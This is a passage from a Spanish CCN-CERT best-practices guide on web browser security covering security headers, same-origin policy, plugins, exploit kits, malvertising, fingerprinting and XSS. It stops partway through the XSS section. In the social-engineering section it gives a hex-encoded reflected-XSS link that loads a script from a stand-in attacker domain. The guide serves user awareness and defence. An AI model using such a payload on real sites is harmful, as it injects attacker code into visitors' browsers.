SIN CLASIFICAR

Buenas Prácticas CCN-CERT BP-06/16 Navegadores web

Noviembre de 2016

SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

CENTRO CRIPTOLOGICO NACIONAL 2.5.4.13=Qualified Certificate: AAPP-SEP-M-SW-KPSC, ou=sello electrónico, serialNumber=S2800155J, o=CENTRO CRIPTOLOGICO NACIONAL, cn=CENTRO CRIPTOLOGICO NACIONAL, c=ES 2016.11.14 13:34:09 +01'00'

LIMITACIÓN DE RESPONSABILIDAD El presente documento se proporciona de acuerdo con los términos en él recogidos, rechazando expresamente cualquier tipo de garantía implícita que se pueda encontrar relacionada. En ningún caso, el Centro Criptológico Nacional puede ser considerado responsable del daño directo, indirecto, fortuito o extraordinario derivado de la utilización de la información y software que se indican incluso cuando se advierta de tal posibilidad. AVISO LEGAL Quedan rigurosamente prohibidas, sin la autorización escrita del Centro Criptológico Nacional, bajo las sanciones establecidas en las leyes, la reproducción parcial o total de este documento por cualquier medio o procedimiento, comprendidos la reprografía y el tratamiento informático, y la distribución de ejemplares del mismo mediante alquiler o préstamo públicos.

2 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

ÍNDICE 1. SOBRE CCN-CERT ................................................................................................................... 5 2. INTRODUCCIÓN ...................................................................................................................... 5 3. COMPONENTES Y TECNOLOGÍAS DE SEGURIDAD DEL NAVEGADOR ................................ 6 3.1 Cabeceras HTTP ......................................................................................................................6 3.1.1 HTTP Strict Transport Security.........................................................................................7 3.1.2 Content-Security-Policy .................................................................................................7 3.1.3 X-Content-Type-Options ...............................................................................................8 3.1.4 X-XSS-Protection ..............................................................................................................9 3.1.5 Secure / HTTPOnly flags .................................................................................................9 3.1.6 X-Frame-Options .............................................................................................................9 3.2 Política del mismo origen (SOP) ....................................................................................... 10 3.3 Plugins y extensiones ........................................................................................................... 11 4. ATAQUES COMUNES CONTRA EL NAVEGADOR ................................................................ 13 4.1 Exploits ................................................................................................................................... 13 4.1.1 Control del navegador .............................................................................................. 13 4.1.1.1 Infección de sitios web legítimos ........................................................................ 13 4.1.1.2 Técnicas de malvertising ...................................................................................... 14 4.1.1.3 Técnicas de ingeniería social .............................................................................. 14 4.1.2 Técnicas de fingerprinting ......................................................................................... 15 4.1.3 Exploit Kits ...................................................................................................................... 16 4.2 Ataques Cross Site Scripting .............................................................................................. 18 4.2.1 Robo de sesiones ......................................................................................................... 19 4.2.2 Ataques con JavaScript (BeEF) ................................................................................ 20 4.3 Ataques Man in the Middle ............................................................................................... 20 4.3.1 SSL Stripping .................................................................................................................. 22 4.3.2 HTTP Strict Transport Security...................................................................................... 23 4.3.3 Downgrade attacks .................................................................................................... 23 5. RECOMENDACIONES DE SEGURIDAD ................................................................................. 23 5.1 Actualizaciones del navegador y plugins ...................................................................... 24 5.1.1 Click To Play .................................................................................................................. 25 5.2 Software para mitigar exploits .......................................................................................... 25 5.3 HSTS y HTTPS Everywhere .................................................................................................... 26 5.4 Protección de las sesiones................................................................................................. 26 3 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

5.5 Contraseñas almacenadas .............................................................................................. 28 5.6 Certificate Pinning ............................................................................................................... 29 5.7 Otras recomendaciones de carácter genérico ........................................................... 32 6. RECOMENDACIONES DE PRIVACIDAD ............................................................................... 32 6.1 Técnicas de seguimiento ................................................................................................... 32 6.2 Modo privado de navegación ........................................................................................ 36 7. DECÁLOGO DE RECOMENDACIONES ................................................................................ 38 8. ANEXO A. REFERENCIAS ...................................................................................................... 39

4 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

1. SOBRE CCN-CERT El CCN-CERT (www.ccn-cert.cni.es) es la Capacidad de Respuesta a incidentes de Seguridad de la Información del Centro Criptológico Nacional, CCN. Este servicio se creó en el año 2006 como CERT Gubernamental Nacional español y sus funciones quedan recogidas en la Ley 11/2002 reguladora del Centro Nacional de Inteligencia, el RD 421/2004 de regulación del CCN y en el RD 3/2010, de 8 de enero, regulador del Esquema Nacional de Seguridad, modificado por el RD 951/2015, de 23 de octubre. De acuerdo a todas ellas, el CCN-CERT tiene responsabilidad en ciberataques sobre sistemas clasificados y sobre sistemas de las Administraciones Públicas y de empresas y organizaciones de interés estratégico para el país. Su misión, por tanto, es contribuir a la mejora de la ciberseguridad española, siendo el centro de alerta y respuesta nacional que coopere y ayude a responder de forma rápida y eficiente a los ciberataques y a afrontar de forma activa las ciberamenazas.

2. INTRODUCCIÓN En apenas 25 años el navegador ha pasado de interpretar lenguajes de marcas como HTML a ser una herramienta realmente compleja que implementa multitud de medidas de seguridad y funcionalidades que van más allá del renderizado de páginas o la visualización de contenido multimedia. En una época en la que cualquier usuario accede a su cuenta bancaria, realiza transacciones o compra todo tipo de productos a través de la Web no es de extrañar que los ciberdelincuentes hayan focalizado sus ataques en el navegador Web. Las múltiples vías de ataque que pueden llevarse a cabo para conseguir que el usuario ejecute código dañino, la facilidad para evadir medidas de seguridad tales como firewalls, IDS, etc., así como las posibilidades de post-explotación que ofrece el navegador hacen de éste un objetivo más que apetecible para los delincuentes. El uso de lenguajes de scripting tales como JavaScript suelen ser el punto de partida más recurrido para obtener control sobre el navegador del usuario y llevar a cabo todo tipo de acciones dañinas sobre el mismo. Asimismo, la gran variedad de APIs proporcionadas por HTML5, actualmente soportada por la mayoría de navegadores, ha aumentado significativamente las técnicas y las posibilidades ofensivas de los atacantes. Por otro lado, el uso de exploits para conseguir ejecutar código y hacerse con el control, no sólo del navegador, sino del equipo al completo es otro de los métodos de infección más utilizados actualmente. Eventos de hacking como el Pwn2Own [Ref.- 1]permiten a las empresas corregir fallos de seguridad críticos mientras compensan económicamente a los participantes. No obstante, existen cierto tipo de mercados en los cuales se comercializan exploits [Ref.- 2] para este tipo de vulnerabilidades por cifras muy superiores. Ciberdelincuentes y grupos organizados recurren a este tipo de exploits para adquirir nuevos recursos con los que infectar un elevado número de usuarios.

5 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Dado que actualmente el navegador Web está expuesto a este tipo de peligros la presente guía tiene como objetivo, por un lado, concienciar al usuario sobre las técnicas más utilizadas por los cibercriminales y, por otro, ofrecer un conjunto de pautas para reducir la superficie de ataque de dichas acciones dañinas.

3. COMPONENTES Y TECNOLOGÍAS DE SEGURIDAD DEL NAVEGADOR Básicamente el navegador Web utiliza un enfoque denominado cliente-servidor el cual se basa en enviar peticiones a un servicio Web para posteriormente procesar la respuesta recibida y “pintarla” de forma gráfica al usuario. Lenguajes de marcas como HTML o XML son los medios más utilizados para transmitir el contenido proporcionado por los servicios Web. Asimismo, el lenguaje de hojas de estilo en cascada (CSS) participa de forma cotidiana en dicho modelo para instruir al navegador el estilo del contenido que debe representar. Todos estos componentes son utilizados por el motor de renderizado del navegador para mostrar una representación gráfica al usuario. Actualmente los motores WebKit, Blink, Trident, y Gecko representan las tecnologías más utilizadas por los principales navegadores. Los lenguajes de scripting como JavaScript permiten aplicar cierto dinamismo al contenido Web gracias a su capacidad para interactuar con el estándar Document Object Model (DOM) [Ref.- 3] definido por el W3C.

3.1 Cabeceras HTTP El envío y recepción de los datos utilizados por el navegador irán acompañados de una serie de cabeceras las cuales dictaminan cómo debe procesarse el contenido que acompaña a las mismas, bien por el servidor o bien por el navegador web (dependiendo si es una solicitud del navegador o una respuesta del servidor).

Figura 1. Cabeceras HTTP dominio ccn-cert.cni.es

Nota: actualmente no hace falta recurrir a software de terceros como era necesario años atrás para poder visualizar los datos enviados y recibidos por el navegador. Hoy en día, los principales navegadores ya incluyen herramientas de análisis para poder 6 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

ver las comunicaciones realizadas por el navegador e incluso para hacer debugging de lenguajes de scripting. Es importante entender que tanto el servicio web como el navegador deben de cooperar juntos para aplicar con éxito las cabeceras de seguridad destinadas a mejorar la navegación web. Si uno de los dos, bien el cliente o el servidor, no cumple su trabajo, la directiva solicitada no sería aplicada. Aunque el número de cabeceras es extenso [Ref.- 4] es recomendable estar familiarizado con aquellas que instruyen al navegador a aplicar determinadas políticas de seguridad. 3.1.1 HTTP Strict Transport Security La política HSTS tiene como objetivo evitar diversos tipos de ataques como, por ejemplo, SSL stripping (ver punto 4.3.1), downgrade (ver punto 4.3.3), el robo de sesiones (ver punto 4.2.1), etc. Para ello, el servicio Web comunica mediante la cabecera "Strict-Transport-Security" al navegador Web que únicamente debe emplear una conexión HTTPS para comunicarse con su servicio [Ref.- 5].

Figura 2. Cabecera Strict-Transport-Security (http://www.twitter.com)

Algunos navegadores como Chrome, Firefox y Safari traen precargada una lista de dominios de confianza [Ref.- 6] con los que utilizar de forma predefinida SSL/TLS. HSTS, además, permitirá bloquear certificados sospechosos; por ejemplo, certificados que han expirado, que no están firmados por una CA de confianza, que son auto-firmados, etc. Esta medida ayuda en gran manera a impedir algunos ataques de tipo Man in the Middle (véase punto 4.3) Cabe destacar que extensiones como HTTPS Everywhere [Ref.- 7] (véase punto 5.3) sirven de complemento perfecto a la directiva “Strict-Transport-Security” para evitar el uso de conexiones inseguras (HTTP). 3.1.2 Content-Security-Policy La política "Content Security" permite controlar y acotar los recursos desde los cuales los usuarios puede cargar contenido para la página que sirve dicha directiva. Esta política es bastante útil para reducir el riesgo de ataques XSS (véase punto 4.2). A continuación, se muestra la política “Content Security” establecida por Facebook. Fíjese que ésta utiliza diversas directivas aparte de “script-src”; por ejemplo, “style-src“ permite definir políticas que aplican a las hojas de estilo, connect-to permite 7 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

limitar los orígenes a los que el cliente puede conectar vía XHR (XMLHttpRequest), WebSockets, etc.

Figura 3. Content-Security-Policy (www.facebook.com)

3.1.3 X-Content-Type-Options Uno de los objetivos más importantes de esta directiva es evitar cierto tipo de ataques [Ref.- 8] como consecuencia del "content sniffing" llevado a cabo por el navegador. El "content sniffing" o "MIME sniffig" es la práctica de inspeccionar de forma dinámica un conjunto de bytes (magic bytes) asociados a cierto contenido para tratar de deducir su formato. El problema de esta técnica es que si un atacante consigue subir código dañino a un sitio web y éste es descargable a través de dicho servicio es posible, bajo ciertas configuraciones incorrectas, engañar al navegador del usuario para que ejecute código. En la siguiente imagen se muestra la interpretación que hace el navegador cuando éste no recibe la política “X-Content-Type-Options” (imagen de la izquierda) y cuando sí la recibe (imagen de la derecha). Se observa que cuando éste realiza “content sniffig” ejecuta el código JavaScript embebido en el mismo.

Figura 4. Content sniffig vs X-Content-Type-Options

8 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

3.1.4 X-XSS-Protection Actualmente, los principales navegadores disponen de funcionalidades built-in anti-XSS para intentar mitigar XSS reflejados. Google y Safari, por ejemplo, implementan una tecnología denominada “XSS Auditor” e Internet Explorer una denominada “XSS Filter”. Los sitios web pueden utilizar la directiva X-XSS-Protection para indicar al navegador cómo debe utilizar dichos filtros. 3.1.5 Secure / HTTPOnly flags Los flags “Secure” y “HTTPOnly” tienen como objetivo proteger las cookies de sesión para evitar ser extraídas o reveladas por un atacante. El flag “Secure” instruye al navegador a enviar las mismas únicamente por un canal seguro; esto es SSL/TLS. Este flag impediría que incluso sitios Web que entregan “contenido mezclado”, es decir, sitios que en principio operan bajo HTTPS pero que contienen enlaces a recursos vía HTTP, puedan revelar las cookies de sesión. Por otro lado, el flag “HTTPOnly” impide que las cookies sean accedidas mediante código JavaScript. Como se describe en el punto 4.2.1 este tipo de ataques es muy utilizado para obtener de forma remota las cookies de sesión de un usuario mediante ataques XSS.

Figura 5. Flags Secure/HTTPOnly

3.1.6 X-Frame-Options Esta directiva se creó con el objetivo de evitar ataques de tipo “UI redressing” como, por ejemplo, el conocido clickjacking. La idea de este tipo de ataques es que el usuario haga usa serie de acciones no intencionadas (por ejemplo, ejecutar cierto script dañino) sin que él mismo sea consciente. Para ello suelen utilizarse iframes transparentes encima de enlaces, botones, etc. Cuando el usuario hace clic sobre ellos realmente está ejecutando el enlace incrustado en el iframe.

Figura 6. Clickjacking

El enlace “Home CCN-CERT” contiene un iframe transparente encima en donde existe un botón que no es visible al usuario. Si el usuario hace clic en el enlace 9 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

realmente está pulsando dicho botón, el cual ejecuta el código JavaScript asociado. Eliminando la transparencia de dicho iframe es posible ver el engaño de forma más evidente. Gracias a la cabecera “X-Frame-Options” el servicio Web puede indicar al navegador cómo debe gestionar el uso de iframes dentro de la página solicitada.

3.2 Política del mismo origen (SOP) La política del mismo origen, también conocida como SOP (Same Origin Policy), es sin duda el control más importante que gobierna el comportamiento del navegador. El navegador considera que las páginas que contienen el mismo hostname, esquema y puerto residen en el mismo origen.

Figura 7. Esquema + Hostname + Port

De este modo, si cualquiera de estos tres componentes difiere su origen se considerará distinto. La idea de SOP es trabajar a modo de sandbox para garantizar que un documento descargado desde cierto origen, por ejemplo, http://dominioejemplo.com/info.html, no pueda acceder a los recursos (a su estructura DOM) de otro documento procedente de un origen diferente, por ejemplo, https://dominioejemplo.com/index.html. Fíjese que SOP no consideraría el mismo origen en ambos recursos ya que, aunque el dominio y el puerto es el mismo el esquema es diferente: HTTP en un caso y HTTPS en otro. Nota: a diferencia de otros navegadores, Internet Explorer no incluye el puerto dentro de los componentes de SOP. Asimismo, IE delega parte de esta política a los “Sitios de Confianza” (Trust Zones). Si este control no existiera, la navegación web no sería en absoluto segura. Una página dañina podría, por ejemplo, acceder a la ventana de otra página abierta por el usuario. Por ejemplo, si el usuario abriese la página de su banco, sería posible recuperar sus datos bancarios, obtener sus credenciales, realizar operaciones, etc. Aunque SOP pueda parecer una política simple, implica un complejo mecanismo de seguridad que representa uno de los pilares principales del navegador web y que tiene que convivir con otras tecnologías y funcionalidades. Por ejemplo, CORS (Cross-origin Resource Sharing) permite añadir cierta flexibilidad a SOP, de forma que un servicio web pueda especificar los orígenes desde los cuales pueda solicitarse acceso a sus recursos. Esto se consigue gracias a la cabecera “Access-Control-Allow-Origin”. Este mecanismo es el que permite, por ejemplo, que ciertas páginas puedan hacer uso de APIs de terceros como Google, Facebook, etc.

10 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Nota: herramientas de hacking como BeEF se aprovechan de CORS [Ref.- 9] para poder centralizar la comunicación del servidor con los navegadores comprometidos (mediante Access-Control-Allow-Origin: *) Además de estos mecanismos, existen ciertas APIs que, aunque respetan SOP, permiten la comunicación entre orígenes diferentes. Por ejemplo, el método PostMessage (implementada en HTML5) puede ser utilizado para "hablar" por medio de iframes entre varios orígenes. La gestión inter-origen es un mecanismo bastante complejo cuya gestión depende directamente del navegador web. De hecho, no son escasas las vulnerabilidades críticas [Ref.- 10] que se han producido en diversos navegadores para evadir SOP. Téngase que cuenta que también los plugins están sujetos a dichas vulnerabilidades. Plugins como Adobe Reader, Adobe Flash, Java o Silverlight implementan también SOP de forma independiente y bajo su propio criterio (por ejemplo, algunas versiones de Java consideran que dos dominios diferentes que compartan una misma IP pertenecen al mismo origen, lo cual puede ser objeto de ciertos ataques en entornos de hosting donde diversos dominios usan la misma IP).

3.3 Plugins y extensiones Aunque a veces estos dos conceptos se usan de manera intercambiable realmente existe poca relación entre ellos. Un plugin es un software que se ejecuta de forma independiente al navegador. Es decir, fuera de su espacio de direcciones. Generalmente el navegador ejecuta los plugins si el servicio web hace referencia a los mismos por medio de las etiquetas , o, en algunos casos, la directiva content-type.

Figura 8. Invocar Flash plugin vía “object”

Algunos de los plugins más utilizados son Flash Player, Java y Silverlight. Uno de los principales problemas de los plugins es que aumentan significativamente la exposición a determinado tipo de ataques durante la navegación web. Algunos de estos plugins contienen un gran número de vulnerabilidades críticas que permiten a los atacantes ejecutar código en el equipo de la víctima. Tan sólo hace falta que el usuario haga clic o navegue hasta una página dañina para que su equipo sea comprometido (sin necesidad siquiera de descargar o interactuar con la página en cuestión). Véase, a modo de ejemplo, el número de vulnerabilidades asociada a Flash Player en los últimos 10 años. Teniendo en cuenta estos datos, no es de extrañar que Flash haya sido uno de los objetivos más utilizados por los atacantes para comprometer equipos a través del navegador. La criticidad de algunas de estas 11 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

vulnerabilidades ha dado lugar a que los propios navegadores implementen medidas para evitar la ejecución de plugins desactualizados o vulnerables.

Figura 9. Vulnerabilidades Flash Player (www.cvedetails.com)

Otros navegadores como Google Chrome han tomado otra vía diferente para proporcionar más estabilidad, seguridad y velocidad a su navegador. Para ello, a partir de septiembre de 2015 (versión 45), ha terminado su soporte a NPAPI (Netscape Plugin Application Programming Interface), en la cual se apoyan plugins como Java o Flash, al considerar dicha tecnología insegura y obsoleta. En su lugar, Chrome se apoya en un sistema más reciente y, según sus desarrolladores, más seguro, denominado Pepper API (PPAPI). Una de las principales ventajas [Ref.- 11] de este cambio es que los complementos ejecutados con esta API pueden aprovecharse de las medidas de seguridad que implementa el navegador (sandboxing, aceleración GPU, etc.). A diferencia de los plugins, las extensiones no son más que módulos adicionales que pueden incorporarse al navegador para añadir o eliminar alguna funcionalidad, es decir, que existen dentro del espacio de direcciones del mismo proceso. Esta característica, sin embargo, no les exime de ser objeto también de vulnerabilidades [Ref.- 12]. Un gran número de extensiones están desarrolladas en JavaScript y XUL (XML User Interface Language). Otra diferencia importante respecto a los plugins es que las extensiones pueden influir en cada página que el navegador cargue (y no únicamente en aquellas que explícitamente lo requieran). Pese a que los navegadores actuales suelen contar con gran variedad de funcionalidades adicionales (filtros-antiphishing, antimalware, etc.) las extensiones son una forma fácil de integrar funcionalidades extra de todo tipo al navegador; por ejemplo, la extensión uMatrix permite mejorar la privacidad del navegador permitiendo al usuario decidir qué conexiones pueden establecerse y qué tipo de datos acepta o envía el navegador; la extensión TamperData permite visualizar y 12 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

modificar los headers y parámetros HTTP/HTTPS, etc. En los apartados 5 y 6 se recomiendan ciertas extensiones para aumentar el nivel de seguridad y privacidad en la navegación web.

4. ATAQUES COMUNES CONTRA EL NAVEGADOR Una de las recomendaciones de seguridad más repetidas y extendidas es evitar la descarga y ejecución de ficheros procedentes de fuentes no confiables. Sin embargo, existen otro tipo de peligros a los que el usuario puede exponerse y en los que ni siquiera es necesario interacción por parte del mismo. Aunque actualmente los navegadores hacen uso de diversas tecnologías para alertar al usuario e impedir el acceso a páginas dañinas (por ejemplo, el Safe Browsing de Google) existen vectores de ataque que complican enormemente su detección: técnicas watering hole, malvertising, ingeniería social, etc.

4.1 Exploits Entre todos los ataques posibles que puede sufrir un usuario a través del navegador web la ejecución de código por medio de un exploit es, sin duda, el más crítico. Mediante un exploit, el atacante se aprovecha de determinada vulnerabilidad para inyectar código dañino en el equipo. Generalmente, ese código dañino (denominado payload) será el responsable de infectar el equipo con un espécimen determinado (un ransomware, un troyano bancario, etc.). En este escenario, el usuario únicamente requiere visitar una página web para que su equipo, al completo, sea comprometido. Para que este ataque tenga éxito el atacante debe conseguir los siguientes hitos: •

Control del navegador: el atacante necesitará que la víctima acceda a la página web vulnerable.

•

Fingerprinting del navegador: el atacante intentará deducir las versiones del navegador, así como de los plugins instalados para elegir el exploit apropiado.

4.1.1 Control del navegador

4.1.1.1 Infección de sitios web legítimos Existen diversas vías de infección, una de las más efectivas es comprometer sitios web con un número de visitas muy elevado. Este vector de infección es utilizado también cuando el atacante tiene un objetivo determinado, por ejemplo, una compañía en concreto, determinada persona, etc. Si el atacante conoce los patrones de navegación de su víctima, puede invertir tiempo en buscar vulnerabilidades en alguna de las páginas visitadas por el mismo. Si consigue comprometerla únicamente tendrá que añadir cierto código dañino y esperar a que el objetivo se conecte. Esta vía de infección se conoce como watering hole. 13 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Tras encontrar una vulnerabilidad en el servidor Web, el atacante cuenta con diversas opciones pare redirigir a los usuarios a un servidor de control: mediante un iframe, JavaScript, una directiva redirect 302 en el servidor, etc.

4.1.1.2 Técnicas de malvertising Otro método comúnmente utilizado por los atacantes es el conocido malvertising. Esta vía de infección consiste en ejecutar código dañino por medio de anuncios, aparentemente inofensivos, distribuidos en un gran número de páginas. Los atacantes se ponen en contacto con compañías encargadas de vender espacios publicitarios para distribuir sus falsos anuncios. Cuando el usuario visita cierta página legítima con alguno de estos anuncios el código dañino (generalmente JavaScript) comienza su ejecución. Nota: en marzo de este año compañías de gran renombre como New York Times, BBC o AOL fueron víctimas de una campaña de malvertising a gran escala en donde determinada red de anuncios fue utilizada para redirigir a los usuarios a Exploit Kits que descargaban cierto ransomware en el equipo de las víctimas. Algunos de estos banners utilizan técnicas de fingerprinting para ejecutar código de forma condicional. En estos casos, el banner publicitario, incluso si es revisado de manera manual, parece totalmente legítimo. Únicamente entra en juego el código JavaScript (por ejemplo, para redirigir al usuario a un Exploit Kit) cuando el cliente que visita la página presenta determinadas características (user-agent, campo referer, IP, geolocalización, etc.). En ocasiones, las técnicas de malvertising suelen combinarse con otras denominadas domain shadowing [Ref.- 13] para dificultar la trazabilidad de los atacantes. Este último término hace referencia al robo de credenciales asociadas a cuentas de dominios para crear una infraestructura de ataque más sofisticada. La idea es utilizar dichas credenciales (asociadas a uno o varios dominios legítimos) para crear múltiples subdominios los cuales se encargan de redireccionar a los usuarios hacia servidores de control operados por los ciberdelincuentes. Estos subdominios son rotados a modo de fast-flux para eludir filtros de reputación.

4.1.1.3 Técnicas de ingeniería social Las técnicas de ingeniería social es otro de los recursos más recurridos y efectivos para conseguir acceso al navegador del usuario, por ejemplo, mediante el envío masivo de correos electrónicos a un gran número de usuarios. Es común que dichos correos contengan algún asunto de interés que genere cierta curiosidad al usuario o bien que traten de usurpar la identidad de una organización o usuario conocido. El objetivo final es que el usuario descargue y ejecute un fichero dañino o bien haga clic en una URL controlada por el atacante. Nota: para conocer en profundidad las técnicas de ingeniería social más utilizadas por los atacantes para comprometer usuarios mediante el correo electrónico remítase a la guía del CCN-CERT “Buenas Prácticas en correo electrónico BP-02/16” [Ref.- 14] 14 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Las URL empleadas suelen ser dominios creados por los atacantes con un nombre similar al sitio legítimo que tratan de usurpar, o bien con un nombre que no genere desconfianza. Sin embargo, a veces pueden recurrirse a vulnerabilidades XSS reflejadas (véase punto 4.2) de dominios legítimos para conseguir inyectar código JavaScript en el navegador. El hecho de utilizar un dominio legítimo ofrece varias ventajas. Primero, el usuario no desconfía del enlace ya que observa un dominio conocido. Segundo, determinadas herramientas de seguridad que parsean enlaces para detectar dominios dañinos son eludidas. Para ocultar el enlace dañino del parámetro vulnerable y hacer el enlace más creíble, el atacante puede aplicar cierta codificación al código JavaScript (por ejemplo, convertirlo a hexadecimal) de forma que el enlace adquiera la siguiente forma http://www.pagina-legitima.com/profile.jsp?user=%3C%73%63%72%69%70%74%25%32%30%73%72%63%3D%68 %74%74%70%3A%2F%2F%61%74%61%63%6B%65%72%2D%64%6F%6D%61%69%6E%2E%63%6F%6D%2F%66%69%6 C%65%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E

Nota: otra técnica a la que suele recurrir los atacantes es utilizar servicios de acortadores de URL. Mediante estos servicios el atacante consigue una versión reducida de la URL bajo un dominio distinto. De este modo es posible ocultar los parámetros JavaScript que podrían levantar sospechas en el usuario. Por ejemplo, utilizando el servicio Bitly, el anterior enlace con el XSS reflejado se convertiría en: http://bit.ly/2ezrxFP.

Figura 10. Página dañina acortada con el servicio Bitly

4.1.2 Técnicas de fingerprinting Una vez que el navegador del usuario es controlado por el atacante mediante alguna de las vías previamente descritas se ejecutarán una serie de comprobaciones para obtener información de las versiones de los plugins y del propio navegador. Con esa información el atacante podrá ejecutar el exploit adecuado para conseguir acceso al equipo. De nuevo, JavaScript suele ser el recurso más utilizado para llevar a cabo esta tarea. Los header HTTP y las propiedades DOM son también aprovechadas para obtener información del propio navegador. Por ejemplo, aunque el user-agent es una cabecera fácilmente falsificable no es muy común que sea modificada por los usuarios. De este modo, si el atacante recibe un user-agent como el mostrado a continuación puede deducir que el usuario está utilizando la versión de Iceweasel 38.5 desde de un equipo Linux 64 bits.

15 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Figura 11. User-agent (tipo y versión navegador)

Nota: incluso si el user-agent es falsificado puede deducirse en ocasiones el tipo de navegador utilizado a partir del orden de los header enviados. Por ejemplo, un navegador puede enviar la cabecera user-agent o la cabecera host en un orden distinto al que lo envía otro navegador. Otras cabeceras ofrecen información no sólo del navegador sino de ciertos componentes del propio sistema operativo. Por ejemplo, el siguiente user-agent informa de las versiones del framework .NET instaladas.

Figura 12. User-agent (componentes .NET)

Además de las cabeceras, la disponibilidad o no de ciertas propiedades DOM permiten conocer la versión del navegador empleado. Cabe destacar que los plugins y extensiones no quedan exentos de este tipo de técnicas gracias a la información que proporcionan ciertas APIs DOM. Por ejemplo, navigator.plugins devuelve un array de objetos con cada uno de los plugins instalados por el navegador. Recorriendo dicho array pueden conocerse fácilmente los plugins disponibles.

Figura 13. Navigator.plugins

4.1.3 Exploit Kits El último paso consiste en ejecutar el exploit correspondiente con el payload deseado para obtener el control de la máquina de la víctima. Por medio de plataformas muy sofisticadas, conocidas como Exploit Kits (EK) [Ref.- 15], los atacantes son capaces de automatizar gran parte del proceso descrito anteriormente. Este tipo de plataformas de ataques son vendidas o alquiladas en ciertos mercados underground para que puedan ser utilizadas por otros ciberdelincuentes para sus propios intereses.

16 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

Figura 14. Exploit-kits Tendencias. Fuente: http://www.trendmicro.com/

Nota: aunque éstos son los EK más extendidos existen implementaciones de EK utilizados de forma individual por determinados grupos de atacantes. Por ejemplo, el conocido grupo de ciberespeionaje APT28 (Sofacy/Sednit) dispone de su propia implementación de EK (apodado como Sedkit por ESET) para atacar de forma dirigida a sus objetivos. El hecho de que los responsables de EK mantengan todavía exploits para vulnerabilidades antiguas es un indicador del que se infiere que muchos usuarios todavía disponen de navegadores con versiones de Flash vulnerables. El siguiente esquema recoge de forma esquemática cómo los cibercriminales que hacen uso de este tipo de plataformas infectan a los usuarios. •

• •

• •

Un atacante lleva a cabo el comprometimiento de un sitio web vulnerable (por medio de exploits, SQLi, etc.) o bien consigue posicionar determinado anuncio dañino. El usuario se conecta al sitio web comprometido. El usuario, de forma transparente, es redirigido a un servidor TDS (Traffic Directing Server). El objetivo de este tipo de servidores es valorar si la víctima es de interés. En ocasiones dicha comprobación se realiza desde la propia página comprometida o bien por medio de servidores intermedios. Generalmente, se consideran características como la dirección IP, el user-agent del navegador, la directiva referer, etc. para valorar la “explotabilidad” del usuario. Si el usuario es considerado de interés su navegador es redirigido de nuevo para la instalación del Exploit Kit. El Exploit Kit analiza el navegador y sus plugins para identificar alguna vulnerabilidad. En caso de existir un componente vulnerable lanzará el exploit adecuado para infectar al usuario.

17 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

•

Buenas Prácticas en navegadores web

El payload utilizado contiene código para bajar cierto malware de un nuevo servidor. Tras su descarga se ejecutará comprometiendo así el equipo del usuario. Todo este proceso se realiza de forma transparente al usuario y sin necesidad de interactuar con ningún objeto (botón, cuadro de diálogo, etc.)

Figura 15. Esquema Exploit Kit

Herramientas de exploiting como Metasploit disponen también de funcionalidades para emular un servicio web desde el cual es posible explotar vulnerabilidades en el navegador/plugins de los usuarios conectados.

4.2 Ataques Cross Site Scripting Un ataque de Cross Site Scripting o XSS consiste en la inclusión de código dañino (JavaScript, HTML, VBScript, etc.) en formularios web o parámetros de URLs con el objetivo de que dicho código sea posteriormente interpretado y ejecutado por el navegador del usuario afectado. Este tipo de ataques es habitual en aplicaciones en las que existe un alto nivel de interacción con el usuario, como foros, blogs o medios digitales. El usuario puede ser víctima de tres tipos de ataques XSS: •

No Persistente o Reflejado: por lo general el atacante utiliza código JavaScript en algún parámetro vulnerable de determinada web. Este enlace es enviado a la víctima a través de cualquier soporte: página web, mensaje de correo electrónico, mensaje instantáneo, conversación de chat, documento Word o PDF, etc. con el objetivo de que haga clic sobre el mismo.

•

Persistente o Almacenado: el código JavaScript está embebido en la página web visitada por la víctima, la cual no necesita seguir ningún enlace para que se ejecute el código, basta con que la visite. Aparece típicamente en sitios en los que los usuarios pueden añadir contenidos: 18 SIN CLASIFICAR

SIN CLASIFICAR CCN-CERT BP-06/16

Buenas Prácticas en navegadores web

comentarios, mensajes en foros, perfiles, descripciones, etiquetas, mensajes de correo, etc. •

XSS basado en DOM: en este caso el atacante consigue ejecutar el payload modificando alguno de los elementos DOM de la página; generalmente document.url, document.location o document.referer.

